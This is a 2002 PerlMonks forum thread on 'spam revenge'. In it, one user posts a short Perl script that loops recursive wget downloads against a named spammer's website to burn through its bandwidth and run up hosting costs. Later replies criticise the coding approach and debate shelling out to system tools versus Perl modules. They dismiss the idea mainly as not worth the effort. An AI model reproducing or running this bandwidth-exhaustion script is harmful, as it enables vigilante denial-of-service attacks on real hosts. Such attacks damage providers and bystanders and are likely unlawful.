Beefy Boxes and Bandwidth Generously Provided by pair Networks
There's more than one way to do things
 
PerlMonks  

Re: Spam revenge

by alexiskb (Acolyte)
on Sep 03, 2002 at 10:07 UTC ( [id://194716]=note: print w/replies, xml ) Need Help??


in reply to Spam revenge

okay okay, im sorry. i will suffer in silence...

Replies are listed 'Best First'.
Re: Re: Spam revenge
by fractalk (Initiate) on Sep 03, 2002 at 13:28 UTC
    ok, reputation suicide. I know, but what can I do?

    First I check what is the spammer hosting (dig sitename)
    then I go to the hosting and see how much they charge for bandwidth...
    having a DSL with no limits it is really handy.
    then it is just a matter of using the friendly.pl bellow


    #!/usr/bin/perl -w $SIG{HUP} = \&end_it_all; $SIG{TERM} = \&end_it_all; $SIG{INT} = \&end_it_all; $SIG{QUIT} = \&end_it_all; $count = 0; $host = "www.BIOPROTEC.COM.BR"; while (1) { $exit = system("wget -r -l100 -U \"Stop sending me SPAM! This is the o +nly way to make you undestand.\" http://$host"); $count ++; if ($exit) { &end_it_all; } } sub end_it_all() { print "\n did some funny things some $count times... naughty, naught +y\n"; exit(0); }
      What's the point in writing Perl to drive a static wget call? Either write bash or use LWP::Parallel::UserAgent. Better yet, find something that's more worth your while to code.

      Makeshifts last the longest.

        What's the point in writing Perl to drive a static wget call? Either write bash or use LWP::Parallel::UserAgent.
        Taking the risk of spawning a whole new discussion, I don't really see why people are so much against calling system programs for scripts that are intended to be run once or twice, on one machine, and just are quick hacks?

        For instance, I once needed to pull some articlenumbers out of a database. Instead of pulling down DBI and the appropriate drivers (can really be a pain), and review how to use DBI, I just opened a pipe to the command line tool, wrote raw SQL to it and parsed the raw answer. Done in five minutes.

        For a longtime, distributable or reusable solution, I'd of course used CPAN, but sometimes there is no point; Perl is designed to interact with the system, and to be, among other things a more powerful 'bash' (or DOS, or what have you). It can be a lot of wasted time to find the appropriate module, install it and figure out how to use it, when all you need is a quickie.

        As for using bash (or whatever) instead, I don't really know how the syntax goes - I would have to look that up first, and if I need something parsed... better to combine strengths, and keep it simple.

        Of course, in this case, it does assume that the user has wget... so for crossplatform solutions, of course you should go pure perl. :)

        Better yet, find something that's more worth your while to code.
        This I wholeheartedly agree on. :)
        You have moved into a dark place.
        It is pitch black. You are likely to be eaten by a grue.

Log In?
Username:
Password:

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: note [id://194716]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this?Last hourOther CB clients
Other Users?
Others having a coffee break in the Monastery: (8)
As of 2024-04-18 16:55 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    No recent polls found